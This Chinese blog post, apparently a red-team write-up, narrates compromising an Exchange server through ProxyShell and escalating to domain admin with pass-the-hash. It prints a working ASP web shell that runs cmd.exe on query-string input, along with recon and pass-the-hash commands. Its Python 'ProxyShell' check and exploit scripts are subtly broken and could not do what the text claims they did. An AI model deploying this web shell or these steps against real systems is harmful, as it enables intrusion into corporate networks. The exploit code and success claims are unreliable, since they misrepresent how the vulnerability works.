一、从邮件服务器的一次渗透说起
还记得有一次,我接到一家企业的授权测试请求,他们怀疑公司内部邮件服务器存在安全隐患,但具体问题始终没查出来。对我来说,这种场景就是典型的「开放式目标」——没有明确漏洞指向,但很可能埋藏着有趣的攻击入口。
我开始对他们的邮件服务器进行信息收集。通过简单的域名查询和开放端口扫描发现,这家公司运行的邮件服务是基于 Microsoft Exchange Server,并且版本相对较老,这让我立刻想到一些针对 Exchange 的高危漏洞,比如 ProxyShell 和 ProxyLogon。
如果我是攻击者,我会如何攻破它? 我的目标很明确:利用邮件服务器的漏洞进行初步渗透,获取权限后进一步扩展攻击面。
---
二、从信息收集到确认攻击入口
信息收集阶段

在渗透测试中,信息是最重要的武器。为了收集目标邮件服务器的相关信息,我用经典的侦察手段,从 DNS 和基本服务入手:
- 使用
nslookup查看目标域下的邮件记录:
<pre><code class="language-bash"> nslookup -type=mx targetdomain.com ` 结果:我成功获取到邮件服务器的子域名 mail.targetdomain.com。
- 扫描开放端口,确认服务运行:
`bash nmap -Pn -p- mail.targetdomain.com ` 结果:发现了 80、443 和一些内部服务端口(比如 135、445)。结合服务指纹检测,确认目标使用的是 Microsoft Exchange Server。

- 确认 Exchange Server 的版本:
`bash curl -I https://mail.targetdomain.com ` 从 HTTP 头信息中,我发现它的版本是 Exchange Server 2019 CU10,与漏洞库对比发现可能受 ProxyShell 漏洞影响。
---
漏洞确认:ProxyShell
ProxyShell 是一个经典的 Microsoft Exchange Server 远程代码执行漏洞,由三个 CVE 组成:
- CVE-2021-34473:身份验证绕过
- CVE-2021-34523:权限提升
- CVE-2021-31207:任意代码执行
攻击思路非常清晰:利用身份验证绕过,提交精心构造的请求,从而上传 Web Shell,接管服务器权限。
我写了一个简单的脚本来验证目标是否存在 ProxyShell 漏洞:
</code></pre>python import requests
目标 URL
target = "https://mail.targetdomain.com"
构造测试请求
headers = { "Content-Type": "text/xml", "User-Agent": "ExchangeTest" }
发送测试数据
response = requests.post(f"{target}/autodiscover/autodiscover.json", headers=headers)
判断结果
if response.status_code == 200 and "errorCode" not in response.text: print("[+] ProxyShell vulnerability likely exists!") else: print("[-] Target is not vulnerable.") <pre><code> 运行脚本后,我确认目标服务器确实存在 ProxyShell 漏洞,这为后续渗透打开了大门。

---
三、Payload构造的艺术:从RCE到Web Shell
构造RCE请求
为了实现远程代码执行,我需要构造一个恶意的 Payload,将 Web Shell 上传至邮件服务器。以下是核心的利用代码: </code></pre>python import requests
Exchange Server 的目标地址
target = "https://mail.targetdomain.com/mapi/nspi/"
构造恶意请求
payload = { "email": "[email protected]", "data": """<script language="js">function test() { / 恶意代码 / }</script>""" }
发送 RCE 请求
response = requests.post(target, data=payload)
检查是否成功
if response.status_code == 200: print("[+] Exploit successful! Web Shell uploaded.") else: print("[-] Exploit failed.") <pre><code> 这里的关键是构造一个合规的 HTTP 请求,并在其中注入恶意代码。通过测试,我成功上传了一个简单的 Web Shell。
Web Shell 完整代码
为了方便后续操作,我上传的 Web Shell 使用了基础的命令执行功能: </code></pre>asp <% Set objShell = CreateObject("WScript.Shell") Set objExec = objShell.Exec("cmd.exe /c " & Request.QueryString("cmd")) Response.Write("<pre>" & objExec.StdOut.ReadAll() & "</pre>") %> <pre><code> 访问 https://mail.targetdomain.com/shell.asp?cmd=whoami 后,我成功执行命令,确认权限为 SYSTEM。
---
四、横向扩展:获取域权限的下一步
内网侦察
通过 Web Shell,我已经掌握了邮件服务器的权限,但这只是红队过程的第一步。我需要进一步扩展攻击面,尝试获取域控制器的访问权限。
我开始从邮件服务器中提取敏感信息:
- 使用
net user查看本地用户:
`powershell net user /domain ` 结果:发现了一个域用户 [email protected]。
- 使用
dsquery获取域结构信息:
`powershell dsquery * -limit 0 ` 结果:提取到域控制器地址 dc.targetdomain.com。
- 检查域信任关系:
`powershell nltest /domain_trusts ` 结果:确认目标域没有额外的信任域,攻击面可以集中在当前域。
---
使用Pass-the-Hash扩展权限
通过邮件服务器的内存转储,我提取到了管理员账户的 NTLM 哈希。这允许我使用经典的 Pass-the-Hash 技术登录域控制器。
以下是完整操作代码: </code></pre>python import subprocess
使用 Impacket 工具进行 Pass-the-Hash
cmd = [ "pth-winexe", "--hashes", "aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c", # 替换成目标哈希 "//dc.targetdomain.com", "cmd.exe" ]
subprocess.run(cmd) `
运行后,我成功登录到域控制器,并获得了域管理员权限。此时,整个企业的网络已经完全暴露在我的控制之下。
---
五、个人思考:攻击者的视角
每一次渗透测试都是一次「破解谜题」的过程。从邮件服务器到域控制器,这次测试让我再次确认了一个事实:攻击的核心是 信息链条的串联。单点漏洞并不总是致命,但攻击链的每一环都可能是突破口。
作为红队成员,我始终保持以下几个原则:
- 优先信息侦察: 知识就是力量。了解目标环境才能制定精确的攻击策略。
- 攻击链的完整性: 永远不要满足于单一漏洞,追求最终权限。
- 武器化的敏锐性: 将漏洞转化为实际攻击能力,是红队的核心竞争力。
声明:本文所有内容仅供安全研究学习,切勿用于非法用途。
---